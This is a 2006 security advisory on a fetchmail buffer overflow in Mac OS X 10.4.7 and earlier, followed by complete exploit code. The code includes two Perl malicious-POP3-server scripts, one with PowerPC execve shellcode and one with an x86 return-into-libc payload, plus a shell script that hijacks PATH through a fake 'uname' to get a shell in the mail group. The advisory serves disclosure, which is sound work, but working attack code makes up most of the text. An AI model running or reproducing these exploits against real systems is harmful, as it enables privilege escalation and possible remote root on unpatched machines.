DMA[2006-0801a] - 'Apple OSX fetchmail buffer overflow' Author: Kevin Finisterre Vendor: http://www.apple.com/ Product: 'Mac OSX <=10.4.7' References: http://www.digitalmunition.com/DMA[2006-0801a].txt http://www.digitalmunition.com/getpwnedmail-x86.pl http://www.digitalmunition.com/getpwnedmail-ppc.pl http://www.freebsd.org/cgi/query-pr.cgi?pr=83805 http://fetchmail.berlios.de/fetchmail-SA-2005-01.txt http://www.securityfocus.com/bid/14349 Description: fetchmail-SA-2005-01 states that 'In fetchmail-6.2.5 and older, very long UIDs can cause fetchmail to crash, or potentially make it execute code placed on the stack. In some configurations, fetchmail is run by the root user to download mail for multiple accounts.'. The authors of fetchmail made patches for these issues available to the public on 2005-07-21. In defiance of a 'very proactive approach to security' Apple's OSX remained unpatched for approximately one year after the vendor supplied patches were made available. Shortly after the vendor disclosure of this bug exploits were made available by The Mantis Project (bannedit@xxxxxxxxxxxxxxx). Conicidentally a recent paper was written about exploiting buffer overflows and this vulnerability was used as an example: http://packetstormsecurity.org/papers/attack/payload-rewrite_exploit.txt As you may have guessed by now exploitation on OSX is fairly trivial for both PowerPC and x86 platforms. An attacker with local access can gain gid=6 (mail) and a remote attacker may gain root under certain conditions. k-fs-computer:~ kf$ ls *pwnedmail* getpwnedmail-ppc.pl getpwnedmail-x86.pl On PowerPc things were pretty straight forward. Simply overwriting the $pc and $lr registers with the address of our stack based shellcode was enough to snag egid=6. On x86 we obviously have to deal with the NX based protection. As shown plenty of times in the past a non executable stack by itself is pretty useless. We can overwrite the $eip register with the address of system() and we are pretty much good to go. A small wrapper in /tmp can help finish the job and give us a shell with gid=6. k-fs-computer:~ kfinisterre$ /usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234 Enter password for kfinisterre@localhost: sh-2.05b$ id uid=501(kf) gid=501(kf) egid=6(mail) groups=6(mail), 81(appserveradm), 79(appserverusr), 80(admin) In some cases fetchmail is run by the root user so it may be possible to take remote root with this vulnerability under certain circumstances. As a side note a previously undisclosed local vulnerability in fetchmail was discovered while documenting the above mentioned issue. Fetchmail no longer ships in a setgid() configuration so this information should be of minimal impact. It is worth noting since it may impact non OSX machines in a similar manor. k-fs-computer:~ kf$ export PATH=/tmp/:$PATH k-fs-computer:~ kf$ cat > /tmp/uname /usr/bin/id /bin/sh -i k-fs-computer:~ kf$ chmod +x /tmp/uname k-fs-computer:~ kf$ /usr/bin/fetchmail -V This is fetchmail release 6.2.5+IMAP-GSS+SSL+INET6 Fallback MDA: (none) uid=501(kf) gid=501(kf) egid=6(mail) groups=6(mail), 81(appserveradm), 79(appserverusr), 80(admin) sh-2.05b$ This issue is caused by the following code snippet: if (versioninfo) { ... /* this is an attempt to help remote debugging */ system("uname -a"); } Both of the above problems are addressed by the latest Apple update. Work Around: Install the 2006-004 update http://docs.info.apple.com/article.html?artnum=106704 http://docs.info.apple.com/article.html?artnum=61798 http://www.apple.com/support/downloads/
#!/usr/bin/perl # getpwnedmail.pl # # http://www.digitalmunition.com # written by kf (kf_lists[at]digitalmunition[dot]com) # # This is a canibalized version of "Kansas City POP Daemon Version 0.0" - Copyright (c) 1999 David Nicol <davidnicol@xxxxxxx> # # kevin-finisterres-mac-mini:~ kfinisterre$ /usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234 # Enter password for kfinisterre@localhost: # sh-2.05b$ id # uid=501(kfinisterre) gid=501(kfinisterre) egid=6(mail) groups=6(mail), 81(appserveradm), 79(appserverusr), 80(admin) # # http://docs.info.apple.com/article.html?artnum=106704 use Socket; use IO::Handle; use IO::Socket; $banner = "fetchmail ppc exploit - OSX 10.4.7 8J135"; $sc = "iiii" x 10 . # * PPC MacOS X shellcode # * ghandi <ghandi@xxxxxxxxxxxx> "\x7c\xa5\x2a\x79" . # /* xor. r5, r5, r5 ; r5 = NULL */ "\x40\xa2\xff\xfd" . # /* bnel shellcode */ "\x7f\xe8\x02\xa6" . # /* mflr r31 */ "\x3b\xff\x01\x30" . # /* addi r31, r31, 268+36 */ "\x38\x7f\xfe\xf4" . # /* addi r3, r31, -268 ; r3 = path */ "\x90\x61\xff\xf8" . # /* stw r3, -8(r1) ; argv[0] = path */ "\x90\xa1\xff\xfc" . # /* stw r5, -4(r1) ; argv[1] = NULL */ "\x38\x81\xff\xf8" . # /* subi r4, r1, 8 ; r4 = {path, 0} */ "\x3b\xc0\x76\x01" . # /* li r30, 30209 */ "\x7f\xc0\x4e\x70" . # /* srawi r0, r30, 9 */ "\x44\xff\xff\x02" . # /* sc ; execve(r3, r4, r5) */ "/bin/sh"; $eip = 0xbfffd238; # No NX to worry about so just hop right on into the stack. $malstr = "A" x 196 . pack('l', $eip) x 2; $PortNumber = 1234; $door = IO::Socket::INET->new( Proto=>'tcp', LocalPort=>$PortNumber, Listen=>SOMAXCONN, Reuse=>1 ); die "Cannot set up socket: $!" unless $door; $timeout = 60; $SIG{ALRM} = sub { die "alarm or timeout\n" }; print "open a new window and type - \"/usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234\"\n"; print "choose any password and press enter\n"; for(;;) { until( $client = $door->accept()) { sleep 1; }; $F = fork; die "Fork weirdness: $!" if $F < 0; if($F) { close $client; next; }; close ($door); $client->autoflush(); &AUTHORIZATION; &TRANSACTION; exit; }; sub OK($) { my $A = shift; $A =~ s/\s+\Z//g; print $client "+OK $A\r\n"; alarm $timeout; }; sub ERR($) { my $A = shift; $A =~ s/\s+/ /g; $A =~ s/\s+\Z//g; print $client "-ERR $A\r\n"; alarm $timeout; }; sub AUTHORIZATION { $Name = ''; OK "$banner"; NEEDUSER: $Data = <$client>; ($Name) = $Data =~ m/^user (\w+)/i; unless($Name) { ERR "The itsy bitsy spider walked up the water spout"; die if ++$strikes > 5; goto NEEDUSER; }; OK "User name ($Name) ok. Password, please."; $Data = <$client>; my($Pass) = $Data =~ m/^pass (.*)/i; $Pass =~ s/\s+\Z//g; OK "$Name has " . 8 . " messages"; }; sub TRANSACTION { %deletia = (); START: $_ = $Data = <$client>; unless(defined($Data)) { print "Client closed connection\n"; exit; }; if (m/^STAT/i){ &STAT; goto START}; if (m/^UIDL/i){ &UIDL; goto START}; # Just cram the shellcode onto the stack... ERR "Welcome to Pwndertino ! $sc"; goto START; } sub STAT { alarm 0; $mm = 0; $nn = scalar(@Messages); foreach $M (@Messages){ $mm += -s "$M"; }; OK "8 7035"; }; sub List($) { my $M = $Messages[$_[0]-1]; return if $deletia{$M}; print $client $_[0],' ',(-s $M)."\r\n"; alarm $timeout; }; sub UIDL { print "Sending exploit string\n"; OK "1 " . $malstr; };
#!/bin/sh # http://www.digitalmunition.com # written by kf (kf_lists[at]digitalmunition[dot]com) # # Previously undisclosed local fetchmail issue. This takes setgid=6 # # http://docs.info.apple.com/article.html?artnum=106704 export PATH=/tmp:$PATH echo /bin/sh -i > /tmp/uname chmod +x /tmp/uname /usr/bin/fetchmail -V
#!/usr/bin/perl # getpwnedmail.pl # # http://www.digitalmunition.com # written by kf (kf_lists[at]digitalmunition[dot]com) # # This is a canibalized version of "Kansas City POP Daemon Version 0.0" - Copyright (c) 1999 David Nicol <davidnicol@xxxxxxx> # # kevin-finisterres-mac-mini:~ kfinisterre$ /usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234 # Enter password for kfinisterre@localhost: # sh-2.05b$ id # uid=501(kfinisterre) gid=501(kfinisterre) egid=6(mail) groups=6(mail), 81(appserveradm), 79(appserverusr), 80(admin) # # http://docs.info.apple.com/article.html?artnum=106704 use Socket; use IO::Handle; use IO::Socket; $banner = " /tmp/sh "; $cmd = $banner ; $ebp = 0x41424344; $system = 0x900474e0; # NX is a problem use return into libc $setuid = 0x90033da0; $cmdstr = 0xbfffd923; # (gdb) x/10s $esp+131 - 0xbfffd8e3: " /tmp/sh " $malstr = "A" x 286 . pack('l', $ebp) . pack('l', $system) . pack('l', $setuid) . pack('l', $cmdstr) ; open(SUSH,">/tmp/aaa.c"); printf SUSH "int main(){setegid(6);setgid(6);system(\"/bin/sh\");}\n"; system("PATH=$PATH:/usr/bin/ cc -o /tmp/sh /tmp/aaa.c"); $PortNumber = 1234; $door = IO::Socket::INET->new( Proto=>'tcp', LocalPort=>$PortNumber, Listen=>SOMAXCONN, Reuse=>1 ); die "Cannot set up socket: $!" unless $door; $timeout = 60; $SIG{ALRM} = sub { die "alarm or timeout\n" }; print "open a new window and type - \"/usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234\"\n"; print "choose any password and press enter\n"; for(;;) { until( $client = $door->accept()) { sleep 1; }; $F = fork; die "Fork weirdness: $!" if $F < 0; if($F) { close $client; next; }; close ($door); $client->autoflush(); &AUTHORIZATION; &TRANSACTION; exit; }; sub OK($) { my $A = shift; $A =~ s/\s+\Z//g; print $client "+OK $A\r\n"; alarm $timeout; }; sub ERR($) { my $A = shift; $A =~ s/\s+/ /g; $A =~ s/\s+\Z//g; print $client "-ERR $A\r\n"; alarm $timeout; }; sub AUTHORIZATION { $Name = ''; OK "$banner"; NEEDUSER: $Data = <$client>; ($Name) = $Data =~ m/^user (\w+)/i; unless($Name) { ERR "The itsy bitsy spider walked up the water spout"; die if ++$strikes > 5; goto NEEDUSER; }; OK "User name ($Name) ok. Password, please."; $Data = <$client>; my($Pass) = $Data =~ m/^pass (.*)/i; $Pass =~ s/\s+\Z//g; OK "$Name has " . 8 . " messages"; }; sub TRANSACTION { %deletia = (); START: $_ = $Data = <$client>; unless(defined($Data)) { print "Client closed connection\n"; exit; }; if (m/^STAT/i){ &STAT; goto START}; if (m/^UIDL/i){ &UIDL; goto START}; # Just cram the shellcode onto the stack... ERR "Welcome to Pwndertino ! $cmd"; goto START; } sub STAT { alarm 0; $mm = 0; $nn = scalar(@Messages); foreach $M (@Messages){ $mm += -s "$M"; }; OK "8 7035"; }; sub List($) { my $M = $Messages[$_[0]-1]; return if $deletia{$M}; print $client $_[0],' ',(-s $M)."\r\n"; alarm $timeout; }; sub UIDL { print "Sending exploit string\n"; OK "1 " . $malstr; };
